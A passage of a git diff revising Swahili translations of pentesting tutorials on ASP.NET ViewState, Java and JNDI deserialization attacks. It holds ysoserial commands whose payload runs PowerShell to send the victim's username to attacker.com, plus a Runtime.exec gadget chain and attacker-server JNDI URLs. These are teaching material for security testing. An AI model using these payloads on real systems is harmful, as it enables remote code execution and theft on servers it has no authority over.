Ufunguo haujawekwa, MachineKey inahitajika. Njia ya kuibaini MachineKey inaitwa "Blacklist3r." +2. Kwa **matoleo chini ya 4.5**, ikiwa MAC imewezeshwa lakini Ufunguo haujawekwa, MachineKey inahitajika. Njia ya kuibaini MachineKey inajulikana kama "Blacklist3r." 3. Kwa **matoleo chini ya 4.5**, bila kujali ikiwa MAC imewezeshwa au la, ikiwa Ufunguo umewezeshwa, MachineKey inahitajika. Kuibaini MachineKey ni kazi ya "Blacklist3r - Maendeleo ya Baadaye." -4. Kwa **matoleo 4.5 na juu**, mchanganyiko wote wa MAC na Ufunguo (iwe zote ni za kweli, au moja ni ya kweli na nyingine ni ya uongo) inahitaji MachineKey. MachineKey inaweza kuibainishwa kwa kutumia "Blacklist3r." +4. Kwa **matoleo 4.5 na juu**, mchanganyiko wote wa MAC na Ufunguo (iwe zote ni za kweli, au moja ni ya kweli na nyingine ni ya uongo) yanahitaji MachineKey. MachineKey inaweza kuibainishwa kwa kutumia "Blacklist3r." ### Mfano wa Mtihani: 1 – EnableViewStateMac=false na viewStateEncryptionMode=false @@ -34,15 +34,15 @@ HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere} ``` **Kutambua Sifa za ViewState** -Unaweza kujaribu kutambua ikiwa ViewState inalindwa na MAC kwa kunasa ombi lililo na parameter hii kwa kutumia BurpSuite. Ikiwa Mac haitumiki kulinda parameter hiyo unaweza kuitumia kwa kutumia [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) +Unaweza kujaribu kutambua ikiwa ViewState ina ulinzi wa MAC kwa kukamata ombi lililo na parameter hii kwa kutumia BurpSuite. Ikiwa Mac haijatumiwa kulinda parameter hiyo unaweza kuitumia kwa kutumia [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) ``` ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" ``` -### Test case 1.5 – Kama Test case 1 lakini cookie ya ViewState haitumwi na seva +### Test case 1.5 – Kama Test case 1 lakini cookie ya ViewState haijatumwa na seva Wakandarasi wanaweza **kuondoa ViewState** ili isiwe sehemu ya Ombi la HTTP (mtumiaji hatapokea cookie hii).\ Mtu anaweza kudhani kwamba ikiwa **ViewState** haipo, utekelezaji wao ni **salama** kutokana na udhaifu wowote unaoweza kutokea na deserialization ya ViewState.\ -Hata hivyo, hiyo si hali halisi. Ikiwa tuta **ongeza parameter ya ViewState** kwenye mwili wa ombi na kutuma payload yetu iliyosimbwa iliyoundwa kwa kutumia ysoserial, bado tutakuwa na uwezo wa kufikia **utendaji wa msimbo** kama ilivyoonyeshwa katika **Case 1**. +Hata hivyo, hiyo si hali halisi. Ikiwa tuna **ongeza parameter ya ViewState** kwenye mwili wa ombi na kutuma payload yetu iliyosajiliwa iliyoundwa kwa kutumia ysoserial, bado tutakuwa na uwezo wa kufikia **utendaji wa msimbo** kama inavyoonyeshwa katika **Case 1**. ### Test Case: 2 – .Net < 4.5 na EnableViewStateMac=true & ViewStateEncryptionMode=false @@ -96,23 +96,23 @@ bbot -f subdomain-enum -m badsecrets -t evil.corp ``` ![https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png](https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png) -Ikiwa umefanikiwa na funguo imepatikana, unaweza kuendelea na shambulio ukitumia [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:** +Ikiwa umebahatika na funguo imepatikana, unaweza kuendelea na shambulio ukitumia [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:** ``` ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" --generator = {__VIWESTATEGENERATOR parameter value} ``` -Katika hali ambapo parameter ya `_VIEWSTATEGENERATOR` **haitumwi** na seva hu **hitaji** kutoa parameter ya `--generator` **bali hizi**: +Katika hali ambapo parameter `_VIEWSTATEGENERATOR` **haitumwi** na seva hu **hitaji** kutoa parameter `--generator` **bali hizi**: ```bash --apppath="/" --path="/hello.aspx" ``` ### Test Case: 3 – .Net < 4.5 na EnableViewStateMac=true/false na ViewStateEncryptionMode=true -Katika hii haijulikani kama parameter inalindwa na MAC. Basi, thamani hiyo labda imeandikwa kwa siri na utahitaji **Machine Key ili kuandika payload yako** ili kutumia udhaifu huo. +Katika hii haijulikani kama parameter inalindwa na MAC. Basi, thamani hiyo labda imefungwa na **utahitaji Machine Key ili kufunga payload yako** ili kutumia udhaifu huo. **Katika kesi hii** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **moduli iko katika maendeleo...** -**Kabla ya .NET 4.5**, ASP.NET inaweza **kubali** \_`__VIEWSTATE`\_parameter **isiyoandikwa kwa siri** kutoka kwa watumiaji **hata** kama **`ViewStateEncryptionMode`** imewekwa kuwa _**Daima**_. ASP.NET **inaangalia tu** **uwepo** wa **`__VIEWSTATEENCRYPTED`** parameter katika ombi. **Ikiwa mtu atafuta parameter hii, na kutuma payload isiyoandikwa kwa siri, bado itashughulikiwa.** +**Kabla ya .NET 4.5**, ASP.NET inaweza **kubali** \_`__VIEWSTATE`\_parameter **isiyo na usimbuaji** kutoka kwa watumiaji **hata** kama **`ViewStateEncryptionMode`** imewekwa kuwa _**Daima**_. ASP.NET **inaangalia tu** **uwepo** wa **`__VIEWSTATEENCRYPTED`** parameter katika ombi. **Ikiwa mtu atafuta parameter hii, na kutuma payload isiyo na usimbuaji, bado itashughulikiwa.** Hivyo basi ikiwa washambuliaji wataweza kupata Machinekey kupitia udhaifu mwingine kama vile file traversal, [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) amri iliyotumika katika **Kesi 2**, inaweza kutumika kufanya RCE kwa kutumia udhaifu wa deserialization wa ViewState. @@ -124,11 +124,11 @@ Tunaweza kulazimisha matumizi ya mfumo wa ASP.NET kwa kubainisha parameter iliyo ```xml ``` -Mbadala, hii inaweza kufanywa kwa kubainisha chaguo lililo hapa chini ndani ya kipimo cha `machineKey` cha faili la web.config. +Vinginevyo, hii inaweza kufanywa kwa kubainisha chaguo lililo hapa chini ndani ya parameter ya `machineKey` ya faili la web.config. ```bash compatibilityMode="Framework45" ``` -Kama ilivyo katika ya awali, **thamani imefungwa.** Kisha, ili kutuma **payload halali, mshambuliaji anahitaji funguo.** +Kama ilivyo katika awali, **thamani imefungwa.** Kisha, ili kutuma **payload halali mshambuliaji anahitaji funguo.** Unaweza kujaribu kutumia [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper)kutafuta funguo inayotumika: ``` @@ -147,7 +147,7 @@ python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6 ``` ![https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png](https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png) -Mara tu funguo la Mashine halali limepatikana, **hatua inayofuata ni kuunda payload iliyosajiliwa kwa kutumia** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) +Mara tu funguo halali la Mashine linapopatikana, **hatua inayofuata ni kuunda payload iliyosajiliwa kwa kutumia** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) ``` ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" ``` @@ -155,12 +155,12 @@ Ikiwa una thamani ya `__VIEWSTATEGENERATOR` unaweza kujaribu **kutumia** paramet ![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/4.2.png) -Kufanikiwa kwa kutumia udhaifu wa deserialization ya ViewState kutasababisha ombi la nje ya mtandao kwenda kwenye seva inayodhibitiwa na mshambuliaji, ambayo inajumuisha jina la mtumiaji. Aina hii ya exploit inaonyeshwa katika uthibitisho wa dhana (PoC) ambayo inaweza kupatikana kupitia rasilimali iliyo na kichwa "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Kwa maelezo zaidi juu ya jinsi mchakato wa kutumia unavyofanya kazi na jinsi ya kutumia zana kama Blacklist3r kwa kutambua MachineKey, unaweza kupitia [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC). +Kufanikiwa kwa kutumia udhaifu wa deserialization wa ViewState kutasababisha ombi la nje ya mtandao kwenda kwenye seva inayodhibitiwa na mshambuliaji, ambayo inajumuisha jina la mtumiaji. Aina hii ya udhaifu inaonyeshwa katika uthibitisho wa dhana (PoC) ambayo inaweza kupatikana kupitia rasilimali iliyo na kichwa "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Kwa maelezo zaidi kuhusu jinsi mchakato wa kutumia unavyofanya kazi na jinsi ya kutumia zana kama Blacklist3r kwa kutambua MachineKey, unaweza kupitia [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC). ### Kesi ya Mtihani 6 – ViewStateUserKeys inatumika -Mali ya **ViewStateUserKey** inaweza kutumika **kulinda** dhidi ya **shambulio la CSRF**. Ikiwa funguo kama hiyo imewekwa katika programu na tunajaribu kuunda payload ya **ViewState** kwa njia zilizojadiliwa hadi sasa, **payload haitashughulikiwa na programu**.\ -Unahitaji kutumia parameter moja zaidi ili kuunda payload kwa usahihi: +Mali ya **ViewStateUserKey** inaweza kutumika **kulinda** dhidi ya **shambulio la CSRF**. Ikiwa funguo kama hiyo imewekwa katika programu na tunajaribu kuunda mzigo wa **ViewState** kwa njia zilizojadiliwa hadi sasa, **mzigo hautashughulikiwa na programu**.\ +Unahitaji kutumia parameter moja zaidi ili kuunda mzigo kwa usahihi: ```bash --viewstateuserkey="randomstringdefinedintheserver" ``` diff --git a/src/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md b/src/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md index 1f19ccb33..b3154fc73 100644 --- a/src/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md +++ b/src/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md @@ -8,10 +8,10 @@ Darasa `java.net.URL` linafanya `Serializable`, hii inamaanisha kwamba darasa hi ```java public final class URL implements java.io.Serializable { ``` -Hii darasa ina **tabia ya kushangaza.** Kutoka kwenye hati: “**Wenyeji wawili wanachukuliwa kuwa sawa ikiwa majina yote ya mwenyeji yanaweza kutatuliwa kuwa anwani sawa za IP**.”\ -Basi, kila wakati kitu cha URL kinapoitwa **yoyote** ya **kazi `equals`** au **`hashCode`** ombi la **DNS** kupata Anwani ya IP lita **tumwa**. +Hii darasa lina **tabia ya kushangaza.** Kutoka kwenye hati: “**Wenyeji wawili wanachukuliwa kuwa sawa ikiwa majina yote ya mwenyeji yanaweza kutatuliwa kuwa anwani sawa za IP**.”\ +Basi, kila wakati kitu cha URL kinapoitisha **yoyote** ya **kazi `equals`** au **`hashCode`** ombi la **DNS** kupata Anwani ya IP litakuwa **litatumwa**. -**Kuita** kazi **`hashCode`** **kutoka** kwa kitu cha **URL** ni rahisi sana, inatosha kuingiza kitu hiki ndani ya `HashMap` ambacho kitakuwa kinatatuliwa. Hii ni kwa sababu **mwishoni** mwa kazi ya **`readObject`** kutoka `HashMap` hii nambari inatekelezwa: +**Kuita** kazi **`hashCode`** **kutoka** kwa kitu cha **URL** ni rahisi sana, inatosha kuingiza kitu hiki ndani ya `HashMap` ambacho kitakuwa kinachakatwa. Hii ni kwa sababu **mwishowe** ya **kazi `readObject`** kutoka `HashMap` hii nambari inatekelezwa: ```java private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { @@ -39,7 +39,7 @@ return hashCode; hashCode = handler.hashCode(this); return hashCode; ``` -Kama unavyoona, wakati `URLObject` inatekeleza `.hashCode()`, inaitwa `hashCode(this)`. Kuendelea unaweza kuona msimbo wa kazi hii: +Kama unavyoona, wakati `URLObject` inatekeleza `.hashCode()` inaitwa `hashCode(this)`. Kuendelea unaweza kuona msimbo wa kazi hii: ```java protected int hashCode(URL u) { int h = 0; @@ -55,11 +55,11 @@ InetAddress addr = getHostAddress(u); ``` Unaweza kuona kwamba `getHostAddress` inatekelezwa kwa jina la kikoa, **ikizindua ombi la DNS**. -Hivyo, darasa hili linaweza **kutumiwa vibaya** ili **kuanzisha** **ombio la DNS** ili **kuonyesha** kwamba **deserialization** inawezekana, au hata **kutoa taarifa** (unaweza kuongeza kama subdomain matokeo ya utekelezaji wa amri). +Kwa hivyo, darasa hili linaweza **kutumika vibaya** ili **kuanzisha** **ombio la DNS** ili **kuonyesha** kwamba **deserialization** inawezekana, au hata **kutoa taarifa** (unaweza kuongeza kama subdomain matokeo ya utekelezaji wa amri). -### Mfano wa msimbo wa payload ya URLDNS +### Mfano wa msimbo wa URLDNS payload -Unaweza kupata [msimbo wa payload ya URDNS kutoka ysoserial hapa](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java). Hata hivyo, ili kufanya iwe rahisi kuelewa jinsi ya kuandika, nilitengeneza PoC yangu mwenyewe (kulingana na ile kutoka ysoserial): +Unaweza kupata [msimbo wa URLDNS payload kutoka ysoserial hapa](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java). Hata hivyo, ili kufanya iwe rahisi kuelewa jinsi ya kuandika, nilitengeneza PoC yangu mwenyewe (kulingana na ile kutoka ysoserial): ```java import java.io.File; import java.io.FileInputStream; @@ -122,59 +122,59 @@ return null; } } ``` -### Maelezo zaidi +### Taarifa zaidi - [https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/](https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/) -- Katika wazo la asili, mzigo wa makusanyo ya kawaida ulibadilishwa ili kutekeleza uchunguzi wa DNS, hii ilikuwa na uaminifu mdogo kuliko njia iliyopendekezwa, lakini hii ndiyo chapisho: [https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/) +- Katika wazo la asili, mzigo wa makusanyo ya kawaida ulibadilishwa ili kufanya uchunguzi wa DNS, hii ilikuwa na uaminifu mdogo kuliko njia iliyopendekezwa, lakini hii ndiyo chapisho: [https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/) ## GadgetProbe -Unaweza kupakua [**GadgetProbe**](https://github.com/BishopFox/GadgetProbe) kutoka Duka la Programu la Burp Suite (Extender). +Unaweza kupakua [**GadgetProbe**](https://github.com/BishopFox/GadgetProbe) kutoka Duka la Burp Suite (Extender). -**GadgetProbe** itajaribu kubaini kama **darasa la Java lipo** kwenye darasa la Java la seva ili uweze kujua **kama** lina **udhaifu** kwa exploit fulani inayojulikana. +**GadgetProbe** itajaribu kubaini kama **darasa la Java lipo** kwenye darasa la Java la seva ili uweze kujua **kama** lina **udhaifu** kwa exploit inayojulikana. ### Inafanyaje kazi -**GadgetProbe** itatumia **mzigo wa DNS wa sehemu ya awali** lakini **kabla** ya kuendesha uchunguzi wa DNS itajaribu **kufanya deserialization ya darasa lolote**. Ikiwa **darasa lolote lipo**, **uchunguzi wa DNS** uta **tumwa** na GadgetProbe itakumbuka kwamba darasa hili lipo. Ikiwa **ombio la DNS** halijatumwa **kamwe**, hii inamaanisha kwamba **darasa lolote halikufanywa deserialization** kwa mafanikio hivyo labda halipo au **halina uwezo wa kufanywa serial/exploitable**. +**GadgetProbe** itatumia **mzigo wa DNS wa sehemu ya awali** lakini **kabla** ya kuendesha uchunguzi wa DNS itajaribu **kufanya deserialization ya darasa lolote**. Ikiwa **darasa lolote lipo**, **uchunguzi wa DNS** uta **tumwa** na GadgetProbe itakumbuka kwamba darasa hili lipo. Ikiwa **ombio la DNS** halijatumwa **kamwe**, hii inamaanisha kwamba **darasa lolote halikufanywa deserialization** kwa mafanikio hivyo ama halipo au **halitambuliki/haliwezi kutumika**. Ndani ya github, [**GadgetProbe ina orodha za maneno**](https://github.com/BishopFox/GadgetProbe/tree/master/wordlists) zenye madarasa ya Java yanayoweza kupimwa. ![https://github.com/BishopFox/GadgetProbe/blob/master/assets/intruder4.gif](<../../images/intruder4 (1) (1).gif>) -### Maelezo Zaidi +### Taarifa zaidi - [https://know.bishopfox.com/research/gadgetprobe](https://know.bishopfox.com/research/gadgetprobe) ## Java Deserialization Scanner -Scanner hii inaweza **kupakuliwa** kutoka Duka la Programu la Burp (**Extender**).\ -**Kiongezeo** kina **uwezo** wa **passive** na **active**. +Scanner hii inaweza **kupakuliwa** kutoka Duka la Burp App (**Extender**).\ +**Kiongezeo** kina **uwezo** wa **kupita** na **kazi** za **kazi**. -### Passive +### Kupita -Kwa kawaida inachunguza **kwa pasivu** maombi yote na majibu yaliyotumwa **ikiangalia** **bytes za uchawi za Java serialized** na itawasilisha onyo la udhaifu ikiwa yoyote itapatikana: +Kwa kawaida inachunguza **kwa siri** maombi yote na majibu yaliyotumwa **ikiangalia** **baiti za uchawi za Java zilizosajiliwa** na itawasilisha onyo la udhaifu ikiwa yoyote itapatikana: ![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](<../../images/image (765).png>) -### Active +### Kazi -**Kujaribu kwa Mikono** +**Upimaji wa Mikono** Unaweza kuchagua ombi, bonyeza kulia na `Send request to DS - Manual Testing`.\ -Kisha, ndani ya _Deserialization Scanner Tab_ --> _Manual testing tab_ unaweza kuchagua **nukta ya kuingiza**. Na **anzisha majaribio** (Chagua shambulio linalofaa kulingana na uandishi uliofanywa). +Kisha, ndani ya _Deserialization Scanner Tab_ --> _Manual testing tab_ unaweza kuchagua **nukta ya kuingiza**. Na **anzisha upimaji** (Chagua shambulio linalofaa kulingana na uandishi ulio tumika). ![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](../../images/3-1.png) -Hata kama hii inaitwa "Kujaribu kwa Mikono", ni **otomatiki** sana. Itakagua kiotomatiki kama **deserialization** ina **udhaifu** kwa **mzigo wowote wa ysoserial** ikichunguza maktaba zilizopo kwenye seva ya wavuti na itaangazia zile zenye udhaifu. Ili **kuangalia** maktaba **zenye udhaifu** unaweza kuchagua kuanzisha **Javas Sleeps**, **sleeps** kupitia **matumizi ya CPU**, au kutumia **DNS** kama ilivyotajwa hapo awali. +Hata kama hii inaitwa "Upimaji wa Mikono", ni **otomatiki** sana. Itakagua kiotomatiki kama **deserialization** ina **udhaifu** kwa **mzigo wowote wa ysoserial** ikichunguza maktaba zilizopo kwenye seva ya wavuti na itaangazia zile zenye udhaifu. Ili **kuangalia** maktaba **zenye udhaifu** unaweza kuchagua kuanzisha **Javas Sleeps**, **sleeps** kupitia **matumizi ya CPU**, au kutumia **DNS** kama ilivyotajwa hapo awali. -**Kufanya Exploit** +**Kutatua** Mara tu unapokuwa umepata maktaba yenye udhaifu unaweza kutuma ombi kwenye _Exploiting Tab_.\ Katika tab hii unapaswa **kuchagua** **nukta ya kuingiza** tena, na **kuandika** **maktaba yenye udhaifu** unayotaka kuunda mzigo kwa, na **amri**. Kisha, bonyeza tu kitufe cha **Attack** kinachofaa. ![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](../../images/4.png) -### Maelezo ya DNS Exfil ya Java Deserialization +### Taarifa za Java Deserialization DNS Exfil Fanya mzigo wako utekeleze kitu kama ifuatavyo: ```bash diff --git a/src/pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md b/src/pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md index 07a38e0f6..0d19132a4 100644 --- a/src/pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md +++ b/src/pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md @@ -84,7 +84,7 @@ command }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); ``` -Ikiwa unasoma msimbo utaona kwamba ikiwa kwa namna fulani unachanganya mabadiliko ya array unaweza kuwa na uwezo wa kutekeleza amri zisizo na mipaka. +Ikiwa utasoma msimbo utaona kwamba ikiwa kwa namna fulani unachanganya mabadiliko ya array unaweza kuwa na uwezo wa kutekeleza amri zisizo na mipaka. Hivyo, **mabadiliko hayo yanachanganywa vipi?** ```java @@ -104,7 +104,7 @@ this.factory = factory; ``` Na kisha tamati kuu inatekelezwa: `lazyMap.get("anything");` -Hii ni nambari ya kazi ya `get`: +Hii ni msimbo wa kazi ya `get`: ```java public Object get(Object key) { if (map.containsKey(key) == false) { @@ -124,11 +124,11 @@ object = iTransformers[i].transform(object); return object; } ``` -Hivyo, kumbuka kwamba ndani ya **factory** tulikuwa tumehifadhi **`chainedTransformer`** na ndani ya **`transform`** kazi tunapitia **mabadiliko yote yaliyofungamana** na kutekeleza moja baada ya nyingine. Kitu cha kufurahisha ni kwamba **kila transformer inatumia `object`** **kama ingizo** na **object ni matokeo kutoka kwa transformer ya mwisho iliyotekelezwa**. Kwa hivyo, **mabadiliko yote yanatekelezwa kwa kufungamana yanatekeleza payload mbaya**. +Hivyo, kumbuka kwamba ndani ya **factory** tulikuwa tumehifadhi **`chainedTransformer`** na ndani ya **`transform`** kazi tunapitia **mabadiliko yote yaliyofungamana** na kutekeleza moja baada ya nyingine. Kitu cha kufurahisha ni kwamba **kila mabadiliko yanatumia `object`** **kama ingizo** na **object ni matokeo kutoka kwa mabadiliko ya mwisho yaliyotekelezwa**. Hivyo, **mabadiliko yote yanatekelezwa kwa kufungamana yanatekeleza payload mbaya**. ### Muhtasari -Mwisho, kutokana na jinsi lazyMap inavyosimamia transformers zilizofungamana ndani ya njia ya kupata, ni kama tunatekeleza msimbo ufuatao: +Mwisho, kutokana na jinsi lazyMap inavyosimamia mabadiliko yaliyofungamana ndani ya njia ya kupata, ni kama tunatekeleza msimbo ufuatao: ```java Object value = "someting"; @@ -149,11 +149,11 @@ new Class[]{String.class}, command ).transform(value); //(4) ``` -_Kumbuka jinsi `value` ilivyo ingizo la kila mabadiliko na matokeo ya mabadiliko ya awali, ikiruhusu utekelezaji wa mstari mmoja:_ +_Kumbuka jinsi `value` ni ingizo la kila mabadiliko na matokeo ya mabadiliko ya awali, kuruhusu utekelezaji wa mstari mmoja:_ ```java ((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"}); ``` -Kumbuka kwamba hapa **ilielezwa vifaa** vinavyotumika kwa **ComonsCollections1** payload. Lakini imeachwa **jinsi yote haya yanaanza kutekelezwa**. Unaweza kuona [hapa kwamba **ysoserial**](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java), ili kutekeleza payload hii, inatumia kitu cha `AnnotationInvocationHandler` kwa sababu **wakati kitu hiki kinapokewa**, kitafanya **kuitisha** kazi ya `payload.get()` ambayo itatekeleza **payload nzima**. +Kumbuka kwamba hapa **ilielezwa vifaa** vinavyotumika kwa **ComonsCollections1** payload. Lakini imeachwa **jinsi yote haya yanaanza kutekelezwa**. Unaweza kuona [hapa kwamba **ysoserial**](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java), ili kutekeleza payload hii, inatumia kipande cha `AnnotationInvocationHandler` kwa sababu **wakati kipande hiki kinapokewa**, kitafanya **kuitisha** kazi ya `payload.get()` ambayo itatekeleza **payload nzima**. ## Java Thread Sleep @@ -200,9 +200,9 @@ lazyMap.get("anything"); } } ``` -## Vifaa Zaidi +## Vifaa Vingi Zaidi -Unaweza kupata vifaa zaidi hapa: [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html) +Unaweza kupata vifaa vingi zaidi hapa: [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html) ## diff --git a/src/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md b/src/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md index 1e58d5c5b..eed80f80a 100644 --- a/src/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md +++ b/src/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md @@ -4,30 +4,30 @@ ## Basic Information -JNDI, iliyounganishwa katika Java tangu mwishoni mwa miaka ya 1990, inatumika kama huduma ya directory, ikiruhusu programu za Java kutafuta data au vitu kupitia mfumo wa majina. Inasaidia huduma mbalimbali za directory kupitia interfaces za mtoa huduma (SPIs), ikiruhusu upatikanaji wa data kutoka mifumo tofauti, ikiwa ni pamoja na vitu vya Java vya mbali. SPIs za kawaida ni pamoja na CORBA COS, Java RMI Registry, na LDAP. +JNDI, iliyounganishwa katika Java tangu mwishoni mwa miaka ya 1990, inatumika kama huduma ya directory, ikiruhusu programu za Java kutafuta data au vitu kupitia mfumo wa majina. Inasaidia huduma mbalimbali za directory kupitia interfaces za mtoa huduma (SPIs), ikiruhusu upatikanaji wa data kutoka kwa mifumo tofauti, ikiwa ni pamoja na vitu vya Java vya mbali. SPIs za kawaida ni pamoja na CORBA COS, Java RMI Registry, na LDAP. ### JNDI Naming Reference Vitu vya Java vinaweza kuhifadhiwa na kupatikana kwa kutumia JNDI Naming References, ambazo zinakuja katika aina mbili: -- **Reference Addresses**: Inaelezea eneo la kitu (mfano, _rmi://server/ref_), ikiruhusu upatikanaji wa moja kwa moja kutoka kwenye anwani iliyoainishwa. +- **Reference Addresses**: Inaelezea mahali pa kitu (mfano, _rmi://server/ref_), ikiruhusu upatikanaji wa moja kwa moja kutoka anwani iliyoainishwa. - **Remote Factory**: Inaelezea darasa la kiwanda cha mbali. Wakati inapoombwa, darasa linaweza kupakuliwa na kuanzishwa kutoka eneo la mbali. Hata hivyo, mekanism hii inaweza kutumika vibaya, na hivyo kusababisha upakiaji na utekelezaji wa msimbo usio na mipaka. Kama hatua ya kupambana: -- **RMI**: `java.rmi.server.useCodeabseOnly = true` kwa default kutoka JDK 7u21, ikizuia upakiaji wa vitu vya mbali. Meneja wa Usalama pia hupunguza kile kinachoweza kupakuliwa. -- **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` kwa default kutoka JDK 6u141, 7u131, 8u121, ikizuia utekelezaji wa vitu vya Java vilivyopakiwa kwa mbali. Ikiwa imewekwa kuwa `true`, utekelezaji wa msimbo wa mbali unaweza kufanyika bila uangalizi wa Meneja wa Usalama. +- **RMI**: `java.rmi.server.useCodeabseOnly = true` kwa chaguo-msingi kutoka JDK 7u21, ikizuia upakiaji wa vitu vya mbali. Meneja wa Usalama pia hupunguza kile kinachoweza kupakuliwa. +- **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` kwa chaguo-msingi kutoka JDK 6u141, 7u131, 8u121, ikizuia utekelezaji wa vitu vya Java vilivyopakiwa kwa mbali. Ikiwa imewekwa kuwa `true`, utekelezaji wa msimbo wa mbali unaweza kufanyika bila uangalizi wa Meneja wa Usalama. - **CORBA**: Haina mali maalum, lakini Meneja wa Usalama daima yuko hai. Hata hivyo, **Meneja wa Majina**, anayehusika na kutatua viungo vya JNDI, hana mekanism za usalama zilizojengwa, hivyo kuweza kuruhusu upatikanaji wa vitu kutoka chanzo chochote. Hii inatoa hatari kwani ulinzi wa RMI, LDAP, na CORBA unaweza kupuuziliwa mbali, na kusababisha upakiaji wa vitu vya Java visivyo na mipaka au kutumia vipengele vilivyopo vya programu (gadgets) ili kutekeleza msimbo mbaya. -Mifano ya URLs zinazoweza kutumika vibaya ni pamoja na: +Mifano ya URL zinazoweza kutumika vibaya ni pamoja na: - _rmi://attacker-server/bar_ - _ldap://attacker-server/bar_ - _iiop://attacker-server/bar_ -Licha ya ulinzi, udhaifu bado upo, hasa kutokana na ukosefu wa hatua za kulinda dhidi ya upakiaji wa JNDI kutoka vyanzo visivyoaminika na uwezekano wa kupuuzilia mbali ulinzi uliopo. +Licha ya ulinzi, udhaifu bado upo, hasa kutokana na ukosefu wa hatua za kulinda dhidi ya upakiaji wa JNDI kutoka vyanzo visivyoaminika na uwezekano wa kupita ulinzi uliopo. ### JNDI Example @@ -47,24 +47,24 @@ Kwa hakika, CORBA si hatari kwa asili. Kuhakikisha usalama kawaida kunahusisha: - Usakinishaji wa **Meneja wa Usalama**. - Kuunda Meneja wa Usalama ili kuruhusu muunganisho na vyanzo vya msimbo vinavyoweza kuwa na madhara. Hii inaweza kufanywa kupitia: - Ruhusa za socket, mfano, `permissions java.net.SocketPermission "*:1098-1099", "connect";`. -- Ruhusa za kusoma faili, ama kwa ujumla (`permission java.io.FilePermission "<>", 